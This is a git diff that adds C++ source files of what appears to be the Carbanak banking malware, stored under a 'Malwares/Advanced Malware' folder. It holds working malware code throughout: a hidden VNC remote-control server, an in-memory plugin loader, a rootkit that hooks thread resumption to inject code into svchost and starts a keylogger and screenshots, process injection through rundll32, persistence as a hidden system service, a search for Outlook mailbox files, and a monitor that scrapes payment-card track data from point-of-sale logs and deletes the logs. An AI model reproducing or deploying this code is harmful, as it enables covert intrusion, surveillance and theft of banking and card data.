(typeStopServer)WinAPI::GetApiAddr( dll, 0x08d437f2 /*VncStopServer*/ );+ if( StartServer && StopServer )+ {+ SOCKADDR_IN addr;+ PVOID server;++ addr.sin_family = AF_INET;+ DbgMsg( "VNC ���� %s:%d", param->ipp.ip, param->ipp.port );+ addr.sin_port = API(WS2_32, htons)(param->ipp.port);+ addr.sin_addr.S_un.S_addr = API(WS2_32, inet_addr)(param->ipp.ip);+ if( addr.sin_addr.S_un.S_addr == INADDR_NONE ) addr.sin_addr.S_un.S_addr = 0;+ char* clientId = 0;+ char* sendData = 0;+ if( param->c_tag > 0 )+ {+ sendData = (char*)param->data + param->size_x86 + param->size_x64;+ }+ else+ {+ clientId = DECODE_STRING2(_CT_("222289DD-9234-C9CA-94E3-E60D08C77777"));+ sendData = clientId;+ }+ if( (StartServer( &server, &addr, sendData, TRUE) ) == NO_ERROR )+ {+ VNCServer* vnc = new VNCServer( StartServer, StopServer, server );+ StringBuilderStack<32> name;+ vnc->SetName( GetNameVNCServer(name) );+ vnc->StartAsync();+ }+ else+ res = 5;+ Str::Free(clientId);+ }+ else+ res = 4;+ }+ else+ res = 3;+ PipeClient::Send( param->answerPipe, 0, &res, sizeof(res), 0, param->func, (DWORD)param->funcRes );+ if( res )+ API(KERNEL32, ExitProcess)(0);+ return 0;+}++void VNCServer::Disconnect()+{+ DbgMsg( "VNC ������ ����������" );+ StopServer(server);+ Delay(2000);+ API(KERNEL32, ExitProcess)(0);+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugin.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugin.cppnew file mode 100644index 0000000..bd62aea--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugin.cpp@@ -0,0 +1,207 @@+#include "plugins.h"+#include "core\pipe.h"+#include "core\debug.h"+#include "core\runinmem.h"+#include "core\crypt.h"+#include "main.h"+#include "manager.h"+#include "sandbox.h"++namespace Plugin+{++static uint idStreamPublic = 0; //�� ������ ���� ���������� ������ ����� ������ �������++static StringBuilder& CreatePipeName( StringBuilder& res, const char* namePlugin )+{+ StringBuilderStack<32> s;+ s = _CS_("plugin_");+ s += namePlugin;+ return Crypt::Name( s, Config::UID, res );+}++class PluginServer : public PipeServer+{+ uint idStream;+ HMODULE dll;++ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();++ public:++ static const int CmdExecuteFunc = 1;++ PluginServer( const char* namePlugin, HMODULE _dll );+ ~PluginServer();++ void ExecuteFunc( const char* func, const char* args );+};++PluginServer::PluginServer( const char* namePlugin, HMODULE _dll )+{+ CreatePipeName( name, namePlugin );+ dll = _dll;+}++PluginServer::~PluginServer()+{+}++void HandlerExecuteFunc( Pipe::AutoMsg msg, DWORD tag )+{+ PluginServer* ps = (PluginServer*)tag;+ char* p = (char*)msg->data;+ char* func = p; p += Str::Len(p) + 1;+ char* args = p;+ ps->ExecuteFunc( func, args );+}++int PluginServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case CmdExecuteFunc:+ HandlerAsync( HandlerExecuteFunc, msgIn, (DWORD)this );+ break;+ }+ return ret;+}++void PluginServer::Disconnect()+{+ DbgMsg( "������ ������� ��������" );+}++void PluginServer::ExecuteFunc( const char* func, const char* args )+{+ DbgMsg( "���������� ������� %s(%s)", func, args );+ void* addr_func = WinAPI::GetApiAddr( dll, Str::Hash(func) );+ if( addr_func )+ {+ if( args && args[0] )+ ((void (WINAPI *)( const char* ))addr_func)(args);+ else+ ((void (WINAPI *)())addr_func)();+ }+ else+ DbgMsg( "������� %s �� �������", func );+}++typedef void (WINAPI *typeSetterCB)( void* addr );++static void WINAPI CBTextFunc( const char* s )+{+ DbgMsg( "CBTextFunc � ����� %d ��������� %s", idStreamPublic, s );+ ManagerServer::SendVideoStream( idStreamPublic, s, Str::Len(s) );+}++static bool InitPluginCBText( PluginStru* plg, HMODULE dll )+{+ typeSetterCB setter = (typeSetterCB)WinAPI::GetApiAddr( dll, Str::Hash(plg->name_func) );+ if( setter )+ {+ DbgMsg( "����� ������� %s(%08x) ������� %s", plg->name_func, setter, plg->name );+ setter(CBTextFunc);+ return true;+ }+ else+ DbgMsg( "� ������� %s �� ������� ������� %s", plg->name, plg->name_func );+ return false;+}++static DWORD WINAPI PluginProcess( void* )+{+ int size;+ byte* data = (byte*)Sandbox::Init(&size);+ Pipe::InitServerPipeResponse();+ PluginStru* plg = (PluginStru*)data;+ byte* body = data + sizeof(PluginStru);+ HMODULE dll = RunInMem::RunDll( body, plg->size );+ if( plg->func_start[0] )+ {+ void* addr_func = WinAPI::GetApiAddr( dll, Str::Hash(plg->func_start) );+ if( addr_func )+ {+ ((void (WINAPI *)( const char* ))addr_func)(0);+ }+ }+ PluginServer plgServer( plg->name, dll );+ if( dll )+ {+ DbgMsg( "������ %s ��� �������", plg->name );+ switch( plg->cbtype )+ {+ case PluginWait:+ plgServer.Start();+ Delay(5000);+ break;+ case PluginCBText:+ idStreamPublic = ManagerServer::CreateVideoStream( 0 /*STREAM_FILE*/, _CS_("cb-plugins"), plg->name_data, _CS_("txt"), 10000 );+ if( idStreamPublic )+ {+ if( InitPluginCBText( plg, dll ) )+ {+ plgServer.Start();+ ManagerServer::CloseStream(idStreamPublic);+ Delay(5000);+ }+ }+ break;+ }+ }+ else+ DbgMsg( "������ %s �� ����������", plg->name );+ Mem::Free(data);+ API(KERNEL32, ExitProcess)(0);+ return 0;+}++static void LoadedPlugin( Pipe::AutoMsg msg, DWORD tag )+{+ PluginStru* plg = (PluginStru*)tag;+ if( msg->sz_data > 0 )+ {+ DbgMsg( "������ %s ��������, ������ %d", plg->name, msg->sz_data );+ plg->size = msg->sz_data;+ Mem::Data data( sizeof(PluginStru) + msg->sz_data );+ data.Append( plg, sizeof(PluginStru) );+ data.Append( msg->data, msg->sz_data );+ Sandbox::Run( PluginProcess, 0, data.Ptr(), data.Len(), false );+ }+ else+ DbgMsg( "������ %s �� ����������" );+ Mem::Free(plg);+}++void Run( PluginStru* plg )+{+ StringBuilder name( 0, -1, plg->name );+ DWORD tag = (DWORD)Mem::Duplication( plg, sizeof(PluginStru) );+ ManagerServer::LoadPlugin( name, LoadedPlugin, 0, tag );+}++void Stop( const char* namePlugin, const char* func_stop )+{+ if( func_stop )+ {+ ExecuteFunc( namePlugin, func_stop, 0 );+ Delay(5000);+ }+ StringBuilderStack<32> pipeName;+ CreatePipeName( pipeName, namePlugin );+ PipeClient::Send( pipeName, PipeServer::CmdDisconnect, 0, 0 );+}++void ExecuteFunc( const char* namePlugin, const char* func, const char* args )+{+ Mem::Data data(64);+ data.AppendStr(func);+ data.AppendStr(args);+ StringBuilderStack<32> pipeName;+ CreatePipeName( pipeName, namePlugin );+ PipeClient::Send( pipeName, PluginServer::CmdExecuteFunc, data.Ptr(), data.Len() );+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/FindOutlookFiles.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/FindOutlookFiles.cppnew file mode 100644index 0000000..fa47ea2--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/FindOutlookFiles.cpp@@ -0,0 +1,25 @@+#include "plugins.h"+#include "other.h"+#include "main.h"+#include "core\pipe.h"++namespace Plugins+{++DWORD WINAPI FindOutlookFiles( void* )+{+ StringBuilderStack<MAX_PATH> path;+ Path::GetCSIDLPath( CSIDL_COMMON_DOCUMENTS, path );+ Path::GetPathName(path); //������� Application Data+ Path::GetPathName(path); //All users, �������� ������ Documents and Settings+ StringBuilderStack<16> mask( _CS_(".pst") );+ StringBuilderStack<16> name( _CS_("outlook") );+ FindFiles( path, mask, 3, name );+#ifdef PLUGINS_FIND_OUTLOOK_FILES_EXIT+ Delay(20000);+ PipeClient::Send( Config::nameManager, PipeServer::CmdDisconnect, 0, 0 );+#endif+ return true;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/MonitoringFile.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/MonitoringFile.cppnew file mode 100644index 0000000..aadc75a--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/MonitoringFile.cpp@@ -0,0 +1,100 @@+#include "plugins.h"+#include "other.h"+#include "main.h"+#include "manager.h"+#include "core\pipe.h"+#include "core\FileTools.h"++namespace Plugins+{++static void HandlerCreateIdLog( Pipe::AutoMsg msg, DWORD tag);++static bool MonitoringCB( File::MonitoringStru* m )+{+ if( m )+ {+ if( m->action == FILE_ACTION_MODIFIED )+ {+ if( m->tag == 0 )+ {+ m->tag = 0xffffffff; //����� ��� �������� ������ ���� ������+ ManagerServer::CreateVideoLog( _CS_("nsb.pos.client"), HandlerCreateIdLog, 0, (DWORD)m );+ Delay(2000); //���� ���� ��� �������+ }+ else+ Delay(1000); //��������� �������� ���� ���� ��������� ���������+ Mem::Data data;+ File::ReadAll( m->fullName->c_str(), data );+ StringBuilder s(data);+ int p1 = 0;+ bool del = true;+ for(;;)+ {+ p1 = s.IndexOf( p1, _CS_("<POSMessage") );+ if( p1 >= 0 )+ {+ int p2 = s.IndexOf( p1, _CS_("POSMessage>") );+ if( p2 > 0 )+ {+ int p3 = s.IndexOf( p1, _CS_("<Track1Data>") );+ if( p3 > 0 && p3 < p2 )+ {+ int p4 = s.IndexOf( p3, _CS_("</Track1Data>") );+ if( p4 > 0 && p4 < p2 && p4 - p3 > 50 )+ {+ if( m->tag != 0 && m->tag != 0xffffffff )+ {+ //���� ������ ���������� ������, ����� � �� ���� ��������+ int p = p1;+ int xA = 2; //�� ����� ������� \n (0xa) ����� ���������� �����+ while( p > 0 )+ {+ if( s[p - 1] == '\n' )+ if( --xA == 0 )+ break;+ p--;+ }+ ManagerServer::SendVideoLog( m->tag, &s[p], p2 - p + 11 );+ }+ else //��� �� �������� ��� ������ ��� ����+ del = false; //������� ������� ���� ����+ }+ }+ p1 = p2 + 11;+ }+ else+ {+ del = false;+ break; //����� ��� �����+ }+ }+ else+ break;+ }+ if( del )+ {+ File::Delete( m->fullName->c_str() ); //�������� �����+ }+ }+ }+ return true;+}++void HandlerCreateIdLog( Pipe::AutoMsg msg, DWORD tag)+{+ File::MonitoringStru* files = (File::MonitoringStru*)tag;+ files->tag = *((uint*)msg->data);+}++DWORD WINAPI MonitoringFile( void* )+{+ File::MonitoringStru files;+ Mem::Zero(files);+ StringBuilderStack<32> fileName( _CS_("nsb.pos.client.log") );+ files.fileName = fileName;+ File::Monitoring( _CS_("C:\\NSB\\Coalition\\Logs"), &files, 1, MonitoringCB );+ return 0;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/TrustedHosts.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/TrustedHosts.cppnew file mode 100644index 0000000..7d9aa47--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/TrustedHosts.cpp@@ -0,0 +1,55 @@+#include "plugins.h"+#include "core/reestr.h"+#include "manager.h"++namespace Plugins+{++static char* domains[] = { _CT_("blizko.net"), _CT_("blizko.org"), 0 };++static bool Find(Reestr& r)+{+ if( !r.Open( _CS_("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains") ) ) return false;+ int i = 0;+ StringBuilderStack<256> subKey;+ StringBuilderStack<64> mask;+ bool ret = false;+ while( r.Enum( subKey, i ) && !ret )+ {+ char** pm = domains;+ while( *pm )+ {+ mask = DECODE_STRING(*pm);+ if( subKey.IndexOf(mask) >= 0 )+ {+ ret = true;+ break;+ }+ pm++;+ }+ i++;+ }+ return ret;+}++static void SendResult()+{+ StringBuilderStack<8> s;+ s += 1;+ ManagerServer::SendData( _CT_("blizko.txt"), s.c_str(), 1, false );+ ManagerServer::SendFileToVideoServer( _CS_("TrustedHosts"), _CS_("blizko"), _CS_("txt"), s );+}++DWORD WINAPI TrustedHosts( void* )+{+ Reestr r1(HKEY_CURRENT_USER);+ if( Find(r1) )+ SendResult();+ Reestr r2(HKEY_LOCAL_MACHINE);+ if( Find(r2) )+ SendResult();++ return 0;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/plugins.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/plugins.cppnew file mode 100644index 0000000..94c50fc--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/plugins/plugins.cpp@@ -0,0 +1,28 @@+#include "plugins.h"+#include "Manager.h"+#include "task.h"++namespace Plugins+{++void Execute()+{+#ifdef PLUGINS_TRUSTED_HOSTS+ RunThread( TrustedHosts, 0 );+#endif++#ifdef PLUGINS_FIND_OUTLOOK_FILES+ if( ManagerServer::GetGlobalState(Task::GlobalState_OutlookFiles) == '0' )+ {+ RunThread( FindOutlookFiles, 0 );+ ManagerServer::SetGlobalState( Task::GlobalState_OutlookFiles, '1' );+ }+#endif++#ifdef PLUGINS_MONITORING_FILE+ RunThread( MonitoringFile, 0 );+#endif++}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/rootkit.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/rootkit.cppnew file mode 100644index 0000000..143cb17--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/rootkit.cpp@@ -0,0 +1,131 @@+#include "main.h"+#include "core\hook.h"+#include "keylogger.h"+#include "core\util.h"+#include "core\path.h"+#include "system.h"++struct FuncParam+{+ typeFuncParamDWORD func;+ DWORD param;+ DWORD pid;+};++static FuncParam funcInject; //������� ���������� �� FuncZwResumeThread ��� ������� � �����-�� �������+static DWORD injectPID; //� ����� ������� ����������, ����� ��� FuncZwResumeThread ��� ���� �� ����������+static DWORD injectPID2; //�� �������� � ������� ����������++#ifndef WIN64++//������� ����������� ��� ������� ������ ��������+DWORD WINAPI RootkitEntry( void* )+{+ InitBot();+ StringBuilderStack<MAX_PATH> path;+ Path::GetStartupExe(path);+ DbgMsg( "������� ������� %s", path.c_str() );+ path.Lower();+ StringBuilderStack<64> nameProcess = Path::GetFileName( path.c_str() );+ Path::GetPathName(path);+ KeyLoggerAllChars::Start(nameProcess);+ System::Start( nameProcess.Hash(), nameProcess, path );+ Screenshot::Init();+ StartKeyLoggerFirstNScreenshot(5);+ return 0;+}++static bool FuncZwResumeThread( Hook::ParamsZwResumeThread& params )+{+ DWORD pid = Process::GetPID( params.hThread );+ FuncParam* fp = (FuncParam*)params.tag;+ if( pid && pid != Process::CurrentPID() && pid != fp->pid && pid != injectPID )+ {+ if( fp->func ) //����� ��������� ���� �������+ {+ typeFuncParamDWORD func = fp->func;+ DWORD param = fp->param;+ fp->func = 0; //���������, ����� � ��������� ��� �� ���������+ fp->param = 0;+ fp->pid = pid; //����� ��� ����� ��� ������ �� �����������+ func(param);+ }+ else //������ � ����������� �������+ InjectIntoProcess3( pid, params.hThread, RootkitEntry );+ }+ return false;+}++bool InjectCrossRootkit( typeFuncParamDWORD func, DWORD param )+{+ //������������� ��������� �������+ funcInject.func = func;+ funcInject.param = param;+ funcInject.pid = 0;+ injectPID = 0;+ //��������� svchost, � ���������� ��������� ��� FuncZwResumeThread, � svchost.exe �������� ������+ StringBuilder cmd(512);+ if( !Path::GetSystemDirectore(cmd) ) return false;+ Path::AppendFile( cmd, _CS_( "svchost.exe" ) );+ return Process::Exec(cmd) != 0;+}++static void InjectToProcessRootkit( DWORD param )+{+ InjectIntoProcess2( injectPID2, (typeFuncThread)param );+}++bool InjectToProcessRootkit( DWORD pid, typeFuncThread func )+{+ injectPID2 = pid;+ return InjectCrossRootkit( InjectToProcessRootkit, (DWORD)func );+}++static HANDLE svchostProcess;+static HANDLE svchostThread;++static void JumpInSvchostRootkit( DWORD param )+{+ RunInjectCode( svchostProcess, svchostThread, (typeFuncThread)param, &InjectCode2 );+}++DWORD JumpInSvchostRootkit( typeFuncThread func )+{+ Mem::Zero(funcInject);+ DWORD pid = RunSvchost( &svchostProcess, &svchostThread, Config::exeDonor );+ if( pid )+ {+ if( InjectCrossRootkit( JumpInSvchostRootkit, (DWORD)func ) )+ return pid;+ }+ return 0;+/*+ StringBuilder cmd(512);+ if( !Path::GetSystemDirectore(cmd) ) return false;+ Path::AppendFile( cmd, _CS_( "svchost.exe -k netsvcs" ) );+ DWORD pid = Process::Exec(cmd);+ if( pid == 0 ) return false;+ if( InjectToProcessRootkit( pid, func ) )+ return pid;+*/+ return 0;+}+++#endif //WIN64++bool InitRootkit()+{+#ifdef WIN64+ return false;+#else+ Mem::Zero(funcInject);+ if( !Hook::Join_ZwResumeThread( FuncZwResumeThread, &funcInject, true ) ) return false;+ return true;+#endif+}++void SetInjectPID( DWORD pid )+{+ injectPID = pid;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/sandbox.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/sandbox.cppnew file mode 100644index 0000000..3f69acc--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/sandbox.cpp@@ -0,0 +1,274 @@+#include "sandbox.h"+#include "core\injects.h"+#include "core\crypt.h"+#include "core\pipe.h"+#include "core\runinmem.h"+#include "core\process.h"+#include "core\pe.h"+#include "main.h"++namespace Sandbox+{++static void CreateName( DWORD pid, StringBuilder& name )+{+ StringBuilderStack<24> s( _CS_("sandbox") );+ s += (uint)pid;+ Crypt::Name( s, Config::XorMask, name );+}++//����������� �������� ������ �� ������������� ��������+class SandboxServer : public PipeServer+{+ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );++ public:++ //�������� ������+ void* data;+ int size;++ SandboxServer();+ ~SandboxServer();+};++SandboxServer::SandboxServer()+{+ CreateName( Process::CurrentPID(), name );+}++SandboxServer::~SandboxServer()+{+}++//��������� ������ � ��������� ������ �������+int SandboxServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ data = Mem::Duplication( msgIn->data, msgIn->sz_data );+ size = msgIn->sz_data;+ return -1; //������ � �������� �������+}++///////////////////////////////////////////////////////////////////////////////////////////////++static DWORD JumpToRundll32( typeFuncThread func, const char* nameUser = 0 )+{+ HANDLE hprocess;+ HANDLE hthread;+ StringBuilder cmd(512);+ if( !Path::GetSystemDirectore(cmd) ) return false;+// Path::AppendFile( cmd, _CS_("calc.exe") );//_CS_( "rundll32.exe" ) );+ Path::AppendFile( cmd, _CS_( "rundll32.exe" ) );+ DWORD options = CREATE_SUSPENDED;+ DWORD pid = Process::Exec( options, nameUser, &hprocess, &hthread, 0, 0, cmd );+ if( RunInjectCode2( hprocess, hthread, func, InjectCode ) )+ return pid;+ else+ API(KERNEL32, TerminateThread)( hthread, 0 );+ return 0;+}++DWORD JmpToSvchostSandBox( typeFuncThread func, const char* nameUser )+{+ if( Config::AV == AV_TrandMicro )+ return JmpToSvchost1( func, Config::exeDonor, nameUser );+ else+ return JmpToSvchost2( func, Config::exeDonor, nameUser );+}++bool Run( typeFuncThread func, const char* nameUser, const void* data, int c_data, bool exe )+{+ DWORD pid;+ if( exe )+ {+ if( !PE::IsValid(data) ) return false;+ PIMAGE_NT_HEADERS headerData = PE::GetNTHeaders( (HMODULE)data );+ //���� ��� ������� �������, �� ��������� ����� rundll32.exe+ if( headerData->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 )+ pid = JumpToRundll32( func, nameUser );+ else+ pid = JmpToSvchostSandBox( func, nameUser );+ }+ else+ pid = JmpToSvchostSandBox( func, nameUser );+ if( !pid ) return false;+ StringBuilderStack<64> name;+ CreateName( pid, name );+ PipeClient pipe(name);+ //� ������� 5� �������� ��������� ������+ bool ret = false;+ for( int i = 0; i < 50; i++ )+ {+ if( pipe.Send( 0, data, c_data ) )+ {+ ret = true;+ break;+ }+ Delay(100);+ }+ return ret;+}++void* Init( int* size )+{+ InitBot();+ Rand::Init();+ SandboxServer server;+ server.Start(); //��������� ������+ if( size ) *size = server.size;+ return server.data;+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////++static DWORD WINAPI ProcessExec( void* )+{+ char* data = (char*)Init();+ uint flags = *((uint*)data);+ char* cmd = data + sizeof(uint);+ DbgMsg( "���������� � Sandbox ������� '%s'", cmd );+ if( !cmd ) return 0;+ if( flags & INIT_ROOTKIT ) InitRootkit();+ StringBuilderStack<MAX_PATH> currFolder(cmd);+ Path::GetPathName(currFolder);+ API(KERNEL32, SetCurrentDirectoryA)(currFolder);+ DWORD pid = Process::Exec(cmd);+ Mem::Free(data);+ return 0;+}++static bool ExecDirect( const char* cmd, int c_cmd, const char* nameUser, uint flags )+{+ Mem::Data data(c_cmd + 1 + sizeof(flags) );+ data.Append( &flags, sizeof(flags) );+ data.Append( cmd, c_cmd + 1 );+ return Run( ProcessExec, nameUser, data.Ptr(), data.Len(), false );+}++bool Exec( StringBuilder& cmd, uint flags, const char* nameUser )+{+ return ExecDirect( cmd.c_str(), cmd.Len() + 1, nameUser, flags );+}++bool Exec( const char* cmd, uint flags, const char* nameUser )+{+ return ExecDirect( cmd, Str::Len(cmd) + 1, nameUser, flags );+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////++static DWORD WINAPI ProcessRunMem( void* )+{+ int size;+ char* data = (char*)Init(&size);+ RunInMem::RunExe( data, size );+ return 0;+}++bool RunMem( const void* data, int size, const char* nameUser )+{+ //���� � ��� ���� ����� NAME_PIPE, �� ������ ��� ��������� ��� ���� ������ ���������+ int i = Mem::IndexOf( data, size, _CS_("NAME_PIPE"), 10 );+ if( i > 0 )+ {+ Mem::Copy( (byte*)data + i, Config::nameManager, sizeof(Config::nameManager) );+ }+ //���� � ��� ���� ����� RAND_NAME_TEXT, �� ������ ��� ���������� ��������� ���+ i = Mem::IndexOf( data, size, _CS_("RAND_NAME_TEXT"), 14 );+ if( i > 0 )+ {+ Mem::Copy( (byte*)data + i, Config::TempNameFolder, Str::Len(Config::TempNameFolder) + 1 );+ }+ //����������� ����� ����+ i = Mem::IndexOf( data, size, _CS_("FOLDER_BOT"), 10 );+ if( i > 0 )+ {+ StringBuilderStack<MAX_PATH> folder;+ Config::GetBotFolder(folder);+ Mem::Copy( (byte*)data + i, folder, folder.Len() + 1 );+ }++ return Run( ProcessRunMem, nameUser, data, size, true );+}+++/*++bool Run( typeFuncThread func, const void* data, int c_data )+{+ DWORD pid = JmpToSvchost(func);+ if( !pid ) return false;+ StringBuilderStack<64> name;+ CreateName( pid, name );+ bool ret = false;+ int size = c_data + sizeof(int);+ HANDLE file = API(KERNEL32, CreateFileMappingA)( INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE, 0, size, name );+ if( file )+ {+ int* ptr = (int*)API(KERNEL32, MapViewOfFile)( file, FILE_MAP_ALL_ACCESS, 0, 0, size );+ if( ptr )+ {+ ptr[0] = 0; //�� ������ ������ ��������+ Mem::Copy( ptr + 1, data, c_data );+ //��������� ����� ������������ ������, ��� ��������� �������� �������� ������� �������� ��� ������ ������+ ptr[0] = c_data;+ //���� ����� ������ ������� ������� ����������, �.�. ������� � ptr[0] = 0+ for( int i = 0; i < 50; i++ )+ {+ Delay(100);+ if( !ptr[0] ) break; //������ ������� ������ ������+ }+ API(KERNEL32, UnmapViewOfFile)(ptr);+ }+ API(KERNEL32, CloseHandle)(file);+ }++}++void* Init( int* size )+{+ InitBot();+ if( size ) *size = 0;+ StringBuilderStack<64> name;+ CreateName( Process::CurrentPID(), name );+ HANDLE file = 0;+ //��������� ���� � �������,� ��� ������� �������� �� ����� �������+ for( int i = 0; i < 50; i++ )+ {+ file = API(KERNEL32, CreateFileMappingA)( INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE, 0, 0, name );+ if( file ) break;+ Delay(100);+ }+ if( !file ) return 0;+ void* ret = 0;+ int* ptr = (int*)API(KERNEL32, MapViewOfFile)( file, FILE_MAP_ALL_ACCESS, 0, 0, 0 );+ if( ptr )+ {+ //���� ���� ������� �������� ������� ������+ for( int i = 0; i < 50; i++ )+ {+ if( ptr[0] ) break; //������� �������� ������� ������ ������+ Delay(100);+ }+ int sz = ptr[0];+ if( sz > 0 )+ {+ ret = Mem::Duplication( ptr + 1, sz );+ if( size ) *size = sz;+ }+ API(KERNEL32, UnmapViewOfFile)(ptr);+ }+ API(KERNEL32, CloseHandle)(file);+ return ret;+}++static void CreateName( DWORD pid, StringBuilder& name )+{+ StringBuilderStack<24> s( _CS_("sandbox") );+ s += (uint)pid;+ Crypt::Name( s, Config::XorMask, name );+ name.Insert( 0, _CS_("Global\\") );+}+*/++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/service.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/service.cppnew file mode 100644index 0000000..0bca7a0--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/service.cpp@@ -0,0 +1,274 @@+#include "main.h"+#include "service.h"+#include "core\file.h"+#include "core\debug.h"+#include "core\reestr.h"+#include "core\service.h"+#include "AdminPanel.h"++namespace Service+{++static SERVICE_STATUS serviceStatus;+static SERVICE_STATUS_HANDLE serviceStatusHandle;++static bool GetFolderForService( StringBuilder& path );+static bool GetFolderFromConfigTxt( const StringBuilder& dropper, StringBuilder& path );++bool GetFileNameService( StringBuilder& fileName )+{+ StringBuilderStack<MAX_PATH> path;+// if( Path::GetCSIDLPath( /*CSIDL_AP//PDATA*/ /*CSIDL_WINDOWS*/ CSIDL_SYSTEM, path ) )+// {+// Path::Combine( fileName, path, _CS_("com"), _CS_("svchost.exe") );+// return true;+// }+ if( Config::GetDefBotFolder(path) )+ {+// Path::Combine( fileName, path, _CS_("svchost.exe") );+ StringBuilderStack<32> name;+ Path::Combine( fileName, path, Config::NameBotExe(name) );+ return true;+ }+ return false;+}++bool Copy( const StringBuilder& srcFile, StringBuilder& dstFile )+//bool Copy( const Mem::Data& data )+{+ StringBuilderStack<MAX_PATH> fileName;+ if( GetFolderFromConfigTxt( srcFile, fileName ) || GetFolderForService(fileName) )+ {+ StringBuilderStack<32> name;+ Path::AppendFile( fileName, Config::NameBotExe(name) );+ }+ else+ if( !GetFileNameService(fileName) )+ return false;+ if( File::IsExists(fileName) ) //���� ���� ����������, �� ������� ��� ��������, ����� �������������+ File::SetAttributes( fileName, FILE_ATTRIBUTE_NORMAL );+ if( !File::Copy( srcFile, fileName ) )+// if( !File::Write( fileName, data ) )+ {+ DbgMsg( "�� ������� ����������� '%s' -> '%s', ������ %d", srcFile.c_str(), fileName.c_str(), API(KERNEL32, GetLastError)() );+// DbgMsg( "�� ������� ����������� � '%s', ������ %d", fileName.c_str(), API(KERNEL32, GetLastError)() );+ return false;+ }+ File::SetAttributes( fileName, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ DbgMsg( "����������� '%s' -> '%s'", srcFile.c_str(), fileName.c_str() );+ dstFile = fileName;+// DbgMsg( "����������� � '%s'", fileName.c_str() );+ return true;+}++bool Install( const StringBuilder& srcFile, const StringBuilder& dstFile, bool copyFile )+{+ DbgMsg( "���������� ���� ��� �������, �������� ���� '%s'", srcFile.c_str() );+ StringBuilderStack<MAX_PATH> fileName;+ fileName = dstFile;+// if( !GetFileNameService(fileName) )+// return false;+ DbgMsg( "��� ����� ������� '%s'", fileName.c_str() );++ if( copyFile )+ Copy( srcFile, fileName );+ else+ DbgMsg( "���� ������� ��� ��� ����������" );++ StringBuilderStack<256> nameService, displayName;+ if( !CreateNameService( nameService, displayName ) )+ return false;+ DbgMsg( "��� ������� '%s', '%s'", nameService.c_str(), displayName.c_str() );+ bool ret = Create( fileName, nameService, displayName );+ if( ret )+ {+ Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), fileName, fileName.Len() );+ Str::Copy( Config::nameService, sizeof(Config::nameService), nameService.c_str(), nameService.Len() );+ }+ return ret;+}++static void WINAPI ServiceControlHandler( DWORD request )+{+ if( request == SERVICE_CONTROL_STOP || request == SERVICE_CONTROL_SHUTDOWN )+ {+ serviceStatus.dwWin32ExitCode = 0;+ serviceStatus.dwCurrentState = SERVICE_STOPPED;+ API(ADVAPI32, SetServiceStatus)( serviceStatusHandle, &serviceStatus );+ DbgMsg( "������ ����������" );+ return;+ }+}++//������� ������� �������+//������ ������������ ������ ��� ������� ����, ����� ���� ��� ��� �������+//������ ����� ��������� ������ ���������������, ����� ���������� ���� ������������+static void WINAPI ServiceMain(int argc, char** argv)+{+ DbgMsg( "ServiceMain" );+ serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;+ serviceStatus.dwCurrentState = SERVICE_START_PENDING;+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;+ serviceStatus.dwWin32ExitCode = 0;+ serviceStatus.dwServiceSpecificExitCode = 0;+ serviceStatus.dwCheckPoint = 0;+ serviceStatus.dwWaitHint = 0;++ StringBuilderStack<64> nameService;+ StringBuilderStack<MAX_PATH> currPath;+ Path::GetStartupExe(currPath);+ currPath.Lower();+ GetNameService( nameService, currPath );++ serviceStatusHandle = API(ADVAPI32, RegisterServiceCtrlHandlerA)(nameService, (LPHANDLER_FUNCTION)ServiceControlHandler);+ if( !serviceStatusHandle )+ {+ return;+ }++ serviceStatus.dwCurrentState = SERVICE_RUNNING;+ API(ADVAPI32, SetServiceStatus)( serviceStatusHandle, &serviceStatus );+ DbgMsg( "������ '%s' �������", nameService );+#ifdef 